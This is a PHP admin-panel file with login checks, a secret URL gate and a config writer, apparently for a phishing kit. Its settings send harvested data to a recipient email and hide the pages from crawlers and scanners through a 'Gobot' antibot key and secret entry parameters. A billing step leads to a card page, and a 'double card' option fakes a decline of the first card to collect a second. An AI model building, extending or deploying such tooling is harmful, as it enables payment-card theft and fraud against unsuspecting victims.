<?php
/**
 * Admin panel: auth helpers and config read/write.
 */

define('ADMIN_AUTH_FILE', BASE_PATH . '/storage/admin_auth.php');

function admin_is_logged_in() {
    return !empty($_SESSION['admin_logged_in']) && $_SESSION['admin_logged_in'] === true;
}

function admin_require_login() {
    if (!admin_is_logged_in()) {
        header('Location: /admin' . admin_access_query_string());
        exit;
    }
}

function admin_get_credentials() {
    if (!file_exists(ADMIN_AUTH_FILE)) {
        return null;
    }
    $data = include ADMIN_AUTH_FILE;
    return is_array($data) ? $data : null;
}

function admin_verify_login($username, $password) {
    $creds = admin_get_credentials();
    if (!$creds || empty($creds['username']) || !isset($creds['password'])) {
        return false;
    }
    if ($username !== $creds['username']) {
        return false;
    }
    return $password === $creds['password'];
}

function admin_login($username, $password) {
    if (admin_verify_login($username, $password)) {
        $_SESSION['admin_logged_in'] = true;
        $_SESSION['admin_user'] = $username;
        return true;
    }
    return false;
}

function admin_logout() {
    unset($_SESSION['admin_logged_in'], $_SESSION['admin_user']);
}

/**
 * Wajib parameter akses admin (dari config). Jika ADMIN_ACCESS_SECRET diisi, request harus bawa param yang benar (GET atau POST).
 * Kalau tidak valid → 403 dan exit.
 */
function admin_require_access_param() {
    if (!defined('ADMIN_ACCESS_SECRET') || ADMIN_ACCESS_SECRET === '') {
        return;
    }
    $paramName = defined('ADMIN_ACCESS_PARAM') ? ADMIN_ACCESS_PARAM : 'key';
    $value = $_GET[$paramName] ?? $_POST[$paramName] ?? '';
    if ($value !== ADMIN_ACCESS_SECRET) {
        http_response_code(403);
        header('Content-Type: text/html; charset=UTF-8');
        echo '<!DOCTYPE html><html><head><meta charset=utf-8><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>Access denied.</p></body></html>';
        exit;
    }
}

/** Query string untuk link/redirect admin (agar param ikut). Kosong jika ADMIN_ACCESS_SECRET tidak diisi. */
function admin_access_query_string() {
    if (!defined('ADMIN_ACCESS_SECRET') || ADMIN_ACCESS_SECRET === '') {
        return '';
    }
    $paramName = defined('ADMIN_ACCESS_PARAM') ? ADMIN_ACCESS_PARAM : 'key';
    return '?' . $paramName . '=' . rawurlencode(ADMIN_ACCESS_SECRET);
}

/** URL untuk "Visit site": root dengan parameter entry saja (nama param tanpa nilai), e.g. /?token */
function admin_visit_site_url() {
    if (defined('ENTRY_PARAM_NAME') && ENTRY_PARAM_NAME !== null && (string) ENTRY_PARAM_NAME !== '') {
        return '/?' . rawurlencode(ENTRY_PARAM_NAME);
    }
    return '/';
}

/** Get current config values for admin form (from constants) */
function admin_get_config_values() {
    $get = function($key, $default = '') {
        return defined($key) ? constant($key) : $default;
    };
    $getBool = function($key, $default = false) {
        if (!defined($key)) return $default;
        $v = constant($key);
        return $v === true || $v === 'true' || $v === '1';
    };
    return [
        'RECIPIENT_EMAIL'         => $get('RECIPIENT_EMAIL'),
        'ENTRY_PARAM_NAME'        => $get('ENTRY_PARAM_NAME'),
        'REQUIRED_PARAM_NAME'      => $get('REQUIRED_PARAM_NAME'),
        'BLOCK_BOT_CRAWLER'       => $getBool('BLOCK_BOT_CRAWLER'),
        'ADMIN_ACCESS_PARAM'      => $get('ADMIN_ACCESS_PARAM', 'key'),
        'ADMIN_ACCESS_SECRET'     => $get('ADMIN_ACCESS_SECRET'),
        'BOT_PROTECTION_ENABLED'  => $getBool('BOT_PROTECTION_ENABLED'),
        'BOT_GOBOT_API_KEY'       => $get('BOT_GOBOT_API_KEY'),
        'CC_DOUBLE_CARD'          => $getBool('CC_DOUBLE_CARD'),
        'BILLING_ENABLED'         => $getBool('BILLING_ENABLED', true),
    ];
}

/** Write config.php from posted form data */
function admin_write_config($post) {
    $e = function($v) {
        if ($v === null || $v === '') return 'null';
        if (is_bool($v)) return $v ? 'true' : 'false';
        return "'" . addslashes((string) $v) . "'";
    };
    $bool = function($v) {
        return ($v === '1' || $v === 'true' || $v === true) ? 'true' : 'false';
    };

    $current = admin_get_config_values();

    $recipient   = trim($post['RECIPIENT_EMAIL'] ?? '');
    $entryParam  = trim($post['ENTRY_PARAM_NAME'] ?? '');
    $requiredParam = trim($post['REQUIRED_PARAM_NAME'] ?? '');
    $blockCrawler = $bool($post['BLOCK_BOT_CRAWLER'] ?? true);
    $botEnabled  = $bool($post['BOT_PROTECTION_ENABLED'] ?? false);
    $botKey      = trim($post['BOT_GOBOT_API_KEY'] ?? '');
    $adminAccessParam = trim($post['ADMIN_ACCESS_PARAM'] ?? 'key');
    $adminAccessSecret = trim($post['ADMIN_ACCESS_SECRET'] ?? '');
    $ccDouble    = $bool($post['CC_DOUBLE_CARD'] ?? false);
    $billingEnabled = $bool($post['BILLING_ENABLED'] ?? false);

    $php = <<<PHP
<?php
/**
 * Configuration File
 * Generated by Admin Panel - do not edit manually if you use admin.
 */

// Recipient email for notifications
define('RECIPIENT_EMAIL', {$e($recipient ?: 'your-email@example.com')});

// Entry parameter (null to disable)
define('ENTRY_PARAM_NAME', {$e($entryParam ?: null)});

// Required URL parameter (null to disable)
define('REQUIRED_PARAM_NAME', {$e($requiredParam ?: null)});

// Block bot/crawler by User-Agent
if (!defined('BLOCK_BOT_CRAWLER')) define('BLOCK_BOT_CRAWLER', {$blockCrawler});

// Admin panel: parameter akses (kosong = tidak wajib parameter)
if (!defined('ADMIN_ACCESS_PARAM')) define('ADMIN_ACCESS_PARAM', {$e($adminAccessParam ?: 'key')});
if (!defined('ADMIN_ACCESS_SECRET')) define('ADMIN_ACCESS_SECRET', {$e($adminAccessSecret)});

// Bot protection (Gobot)
if (!defined('BOT_PROTECTION_ENABLED')) define('BOT_PROTECTION_ENABLED', {$botEnabled});
if (!defined('BOT_GOBOT_API_KEY')) define('BOT_GOBOT_API_KEY', {$e($botKey)});

// CC: double card (first declined, second success)
if (!defined('CC_DOUBLE_CARD')) define('CC_DOUBLE_CARD', {$ccDouble});

// Billing step: on/off (off = lewati halaman billing, langsung ke CC)
if (!defined('BILLING_ENABLED')) define('BILLING_ENABLED', {$billingEnabled});


PHP;

    $configPath = BASE_PATH . '/config.php';
    $tempPath = BASE_PATH . '/config.php.new';

    if (file_put_contents($tempPath, $php, LOCK_EX) === false) {
        $_SESSION['admin_config_error'] = 'Cannot write file (check storage permission).';
        return false;
    }

    // Validasi sintaks dengan php -l hanya jika exec() tersedia (banyak hosting mematikan exec)
    $valid = true;
    if (function_exists('exec')) {
        $disabled = array_map('trim', explode(',', (string) ini_get('disable_functions')));
        if (!in_array('exec', $disabled, true)) {
            try {
                $out = [];
                $ret = 0;
                @exec('php -l ' . escapeshellarg($tempPath) . ' 2>&1', $out, $ret);
                $lintOutput = trim(implode(' ', $out));
                $valid = ($ret === 0 && stripos($lintOutput, 'No syntax errors') !== false);
                if (!$valid) {
                    @unlink($tempPath);
                    $_SESSION['admin_config_error'] = 'Generated config invalid: ' . ($lintOutput ?: 'php -l failed.');
                    return false;
                }
            } catch (Throwable $e) {
                // exec disabled or error — lanjut tanpa validasi
            }
        }
    }

    if (!@rename($tempPath, $configPath)) {
        @unlink($tempPath);
        $_SESSION['admin_config_error'] = 'Cannot replace config.php (permission or file in use).';
        return false;
    }
    return true;
}
